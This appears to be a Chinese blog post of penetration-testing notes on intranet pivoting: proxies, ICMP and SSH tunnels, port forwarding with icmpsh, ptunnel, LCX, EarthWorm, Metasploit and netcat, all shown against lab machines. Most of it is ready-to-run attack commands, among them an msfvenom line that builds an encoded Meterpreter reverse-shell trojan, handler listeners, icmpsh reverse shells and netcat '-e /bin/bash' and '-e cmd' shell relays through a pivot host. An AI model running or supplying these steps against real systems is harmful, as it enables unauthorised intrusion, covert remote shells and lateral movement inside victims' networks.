admin 管理员组

文章数量: 887021

代理转发

概念

网关

​ 必须经过
​ 用来进行路由转发的设备,网关的作用是让不同网段之间能够通信

代理

​ 委托访问
​ 无论代理后面挂了几台设备,都认为是从代理进行访问,对外只表现为代理一台。外部认为是与代理进行交互

代理与NAT的区别
					Ⅰ 从应用上讲, NAT 设备是网络基础设备之一, 解决的是IP不足的问题,代理服务器则是更贴近具体应用,比如: 通过代理服务器进行”翻墙”, 另外像迅游这样的加速器, 也是使用代理服务器实现的 
​					Ⅱ 从底层实现上讲, NAT 是工作在网络层的, 直接对IP地址进行替换
代理服务器往往工作在应用层
​					Ⅲ 使用范围上讲, NAT 一般在局域网的出口部署
代理服务器可以在局域网做, 也可以在广域网做, 也可以跨网
​					Ⅳ从部署位置上看, NAT 一般集成在防火墙, 路由器等硬件设备上

代理服务器则是一个软件程序, 需要部署在服务器上
					Ⅴ 从功能上讲,proxy=代理商,先要看你买啥,清楚了后再帮你买,可能直接从库房中提货,也可能去其它地方调货,也有可能不代理你要买的货。Proxy针对每一种应用设置代理服务器,或者安装一个客户端软件,设置相对复杂一些.并且并不一定支持所有的应用,如VP/N客户端登录很多Proxy就无法代理应用. 
					nat=货运码头,管你是啥货,只管发就是了,NAT设置简单,无需客户端软件  

隧道

​ 网络虫洞
​ 隧道是一个网络的虚拟路径,使得入口的数据能够穿越到隧道的出口进行通信

icmpsh

​ 环境安装
​ 把可执行程序放到/usr/bin/目录下, 可以快速启用(可以重命名)
​ 需要在同网段下去做, 如果端口受到限制, 那我们就可以用ICMPSH这款工具去反弹shell
​ 前提: ping未被禁用
​ 依赖环境: python-impacket(python2版本的)
​ pip install --upgrade pip
​ pip install --upgrade setuptools
​ pip2 install impacket -i https://pypi.tuna.tsinghua.edu/simple --trusted-host pypi.tuna.tsinghua.edu/simple
​ 使用方法

	1. 先在kali设置ping代替应答 (必做)
	sysctl -w net.ipv4.icmp_echo_ignore_all=1 #等于1是禁止ping
		sysctl #时动态地修改内核的运行参数			

	2. 开启监听
	python icmpsh_m.py s_ip d_ip (在kali上)
		子主题 1
	3. 反弹shell
	icmpsh.exe -t kali地址 -d 500 -s 128 -b 30 (在靶机上)
	做完之后改回代替应答, 不然会出现ping不通其他主机的情况
	!!!! sysctl -w net.ipv4.icmp_echo_ignore_all=0
参数
	-h 帮助
	-t target --> 目标IP地址
	-d delay 500 --> 延迟的毫秒数
	-s bytes  128 --> 缓冲区的大小
	-b max blank 30 --> 最大的空白数(未应答的ICMP请求最大数量)

ptunnel

​ 环境准备
​ kali、跳板机Ubuntu、win7 —kali内置有Ptunnel
​ Uubuntu: Ptunnel文件赋予权限即可
​ Ubuntu:两张网卡、一张仅主机1、一张仅主机2,win7:仅主机1,kali:仅主机2
​ vm: vmnet0(桥接, 连通物理网段, 与物理机处于同一网段), vmnet1(仅主机模式, 只能ping通同一网段的机器) , vmnet8(nat)
​ vvc

参数

​ -p: 同网段远程服务器的ip地址(跳板ip)
​ -lp: 本地监听的端口(本地监听的端口)
​ -da: 目标的ip
​ -dp: 目标的端口
​ -x: 添加密码
​ -v: 显示详细的参数信息

实现

​ kali:ptunnel -x 12345 -p 192.168.21.132 -lp 6666 -da 192.168.48.138 -dp 3389
​ 跳板机: ptunnel -x 12345
​ 访问目标机: rdesktop 127.0.0.1:6666



LCX

​ 环境准备
​ KALI、跳板机、win7
​ 参数
​ -listen 本地监听的端口(51) 要转发的端口(3389)
​ -slave 连接ip(跳板机ip) 连接的端口(51) 要传输的ip(127.0.0.1) 要转发的端口(3389)
​ -tran 用于做多层跳板的

使用方法

​ 跳板机
​ Windows: lcx.exe -listen 1234 4321
​ Linux:./portmap -m 2 -p1 1234 -p2 4321
​ 内网主机
​ lcx.exe -slave 192.168.48.139(跳板机地址) 1234 127.0.0.1 3389/80/21
​ lcx.exe -slave 跳板机的第一个端口 需要转发的本机端口

访问

​ mstsc 跳板机ip:4321
​ rdesktop 跳板机ip:4321
​ 浏览器->跳板机:4321

跳板机:

内网Window7 :

Kali:

EarthWorm

常用参数

​ ssocksd 正向代理
​ rssocks 反向代理(监听)
​ rcsocks 反向代理(连接)
​ -l 设置监听的端口.
​ -d 要连接的地址(单层跳板).
​ -e 要转发的端口.
​ -f 设置多层跳板目标转发ip .
​ -g 设置多层跳板目标的端口.
​ -a about show the about pages
​ -v version show the version.
​ -t usectime set the milliseconds for timeout.

代理工具

​ windows: proxifer
​ linux: proxychains

正向代理

​ socks5代理
​ Windows开启代理:ew -s ssocksd -l 7777
​ Linux开启代理:./ew_for_linux64 -s ssocksd -l 7777

反向代理(内网穿透)

​ 内网主机有限制, 可以利用反向代理转发内网主机流量
​ 跳板机: ./ew_for_linux64 -s rcsocks -l 7777 -e 2222
​ 内网主机: ew_for_Win.exe -s rssocks -d 192.168.48.139 -e 2222

多级代理

​ 物理机 --> kali(外网) --> ubuntu(一层内网) --> win7(二层内网)
​ 物理机:利用代理工具访问
​ 物理机使用proxifer配置代理服务器:192.168.21.130 1111 socks5
​ kali:./ew_for_linux64 -s rcsocks -l 1111 -e 2222
​ ubuntu:. /ew_for_linux64 -s rssocks -d 192.168.21.130 -e 2222 -f 192.168.48.138 -g 9999
​ win 7: ew_for_Win.exe -s ssocksd -l 9999
​ kali改成跳板机的ip + port就可以通过代理通信了

案例

克隆机

Ubantu:

Window 7:

物理机/KALI:
物理机代理成功


Kali:

远程登入window 7

MSF端口转发

​ 常用参数
​ Add:该参数用于创建转发。
​ Delete:从我们的转发端口列表中删除先前的条目。
​ List:列出当前转发的所有端口。
​ Flush:删除我们的转发列表中的所有端口。
​ -L:用于指定监听主机。 除非需要在特定网络适配器上进行转发,否则可以省略此选项。 如果未输入任何值,则将使用0.0.0.0。
​ -h:显示以上信息。
​ -l:这是一个本地端口,它将在攻击机器上侦听。与此端口的连接将被转发到远程系统。
​ -p:TCP连接将转发到的端口。
​ -r:连接被中继到的IP地址(目标主机ip)

使用方法

​ 生成木马
​ msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.48.145 lport=4444 -e x86/shikata_ga_nai -i 15 -f elf -o shell.elf #生成elf格式木马
​ 创建监听
​ msf6 > use exploit/multi/handler
​ msf6 exploit(multi/handler) > show options
​ msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
​ msf6 exploit(multi/handler) > set lhost 192.168.48.145
​ msf6 exploit(multi/handler) > run
​ 获取会话后
​ meterpreter>portfwd add -l 7777 -p 3389 -r 192.168.217.136
​ meterpreter>porfwd list #显示转发列表

MSF读取文件命令(自动添加参数)

​ -r #读取参数
​ 文件内容
​ msfconsole -r 1 /msfconsole -r 2

自动添加参数:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.3.76; set lport 7777; exploit -j; "

SSH

安装环境

​ sudo apt-get install openssh-server
​ dpkg -l | grep ssh //查找已安装的SSH软件包
​ systemctl enable ssh #开机自启动SSH
​ /etc/ssh/sshd_config配置文件,需将参数PermitRootLogin设为yes,并重启ssh服务。
​ ssh_"d"一般是服务端
​ service ssh restart #重启SSH
​ ssh-config #客户端配置文件
​ sshd-config #服务端配置文件
​ socks

telnet与SSH的区别

​ telnet 23 --> 明文传输 --> 中间人攻击, 可以爆破
​ ssh 22 --> 加密传输 --> 可以爆破

常用参数

​ -C 压缩传输,提高传输速度
​ -f 将ssh传输转入后台,不占用当前shell
​ -N 建立静默连接
​ -g 允许远程主机连接本地用于端口转发
​ -L 本地端口转发
​ -R 远程端口转发
​ -D 动态转发(sock5代理)
​ -P 指定ssh端口

本地端口转发

​ 在Kali输入:

ssh -CfNg -L <本机地址>:<本机端口>:<目标B地址>:<目标B端口>用户名@跳板IP(A)

ssh -CfNg -L 1234:192.168.48.138:3389 (目标主机)root@192.168.21.129 (跳板机)
​ Kali: rdesktop 127.0.0.1:3389

远程端口转发

​ 跳板机:ssh -CfNg -R 4567:192.168.48.138:3389 root@192.168.21.130 //用Ubuntu做跳板机,ssh连接Kali,打开Kali的4567端口用来监听
​ //ssh -CfNg -R Kali端口(VPS端口):目标主机:目标端口 root@vps地址

​ 或者:ssh -CfNg -R <本地端口>:<目标B地址>:<目标B端口> 用户名@本地IP

​ rdesktop 127.0.0.1:4567

动态端口转发

Socks

socks概念

​ SOCKS:防火墙安全会话转换协议 (Socks:Protocol for sessions traversal across firewall securely) Socks 协议提供一个框架,在 TCP 和 UDP 域中的客户机/服务器应用程序能更方便安全地使用网络防火墙所提供的服务。这个协议从概念上来讲是介于应用层和传输层之间的 “中介层(shim-layer)”,所以不提供传递 ICMP 信息之类的网络层网关服务。

Socks4与Socks5区别

​ Socks4和Socks5都属于Socks协议,只是由于所支持的具体应用不同而存在差异。 Socks4代理只支持TCP应用,而Socks5代理则可以支持TCP和UDP两种应用。不过由于Socks5代理还支持各种身份验证机制,服务器端域名解析等;而Socks4代理没有,所以通常对外开放的 Socks代理都是Socks4代理。因此,UDP应用通常都不能被支持。也就是说,Socks4能做的Socks5都可以做,而socks5能做的,Socks4不一定都可以做。

使用方法

​ Kali : ssh -CfNg -D 7000 root@192.168.21.132 #ssh -CfNg -D 7000 跳板机用户名@IP
​ ssh -qTfnN -D <本地端口> 用户名@跳板IP(A)

浏览器检测方式

​ ->设置网络配置: 手动配置代理 --> socks代理: 127.0.0.1 7000 --> socks4/5代理
​ proxychains检测方式
​ vim /etc/proxychains.conf #在末尾添加代理IP和端口

proxychains4 curl myip.ipip

​ 看是否修改成功
​ proxychains4 curl http://192.168.48.138
​ proxychains4 firefox
​ proxychains4 rdesktop 192.168.48.138
​ proxychains4 nmap -sT -Pn 192.168.48.138 -p 3389
​ -sT固定为为TCP探测,不加会报错
​ -Pn跳过存活检测,不加报错!!! ICMP不适用端口号 无法转发!!!
​ -p指定3389端口
案例:
1.代理工具proxychains4代理NAMP扫描内网常用端口如3389和80


2.通过ssh 本地端口转发, 远程端口转发访问Windows7的3389端口并能够成功连接
本地端口转发:

远程端口转发:

NC

​ 常用参数
​ -c | -e: 执行命令或者程序,常用于反弹shell
​ -l:使用监听模式
​ -p:设定端口
​ -z:使用0输入输出,常用于端口开放检测,(连上立即断开)
​ -v -vv: 显示执行过程详细信息 / 更详细的信息
​ -n:仅显示数字的ip地址,不显示DNS信息
​ 环境准备
​ Kali,跳板机(windosw7)、客户端
​ 使用方法
​ 服务端 nc -lvvp 4321
​ 跳板机(windows)
​ C:\Users\L\Desktop\netcat>nc -v 192.168.21.130 4321 -e “C:\Users\L\Desktop\netcat\nc.exe -v 192.168.48.138 4444”
​ 客户端
​ 客户端 Linux- > ./nc -lvvp 5555 -e /bin/bash
​ 客户端 Windows-> nc.exe -lvvp 4444 -e cmd

使用netcat实现反弹Windows7的Shell到渗透机中
内网window7:

跳板机:

Kali:

本文标签: 简要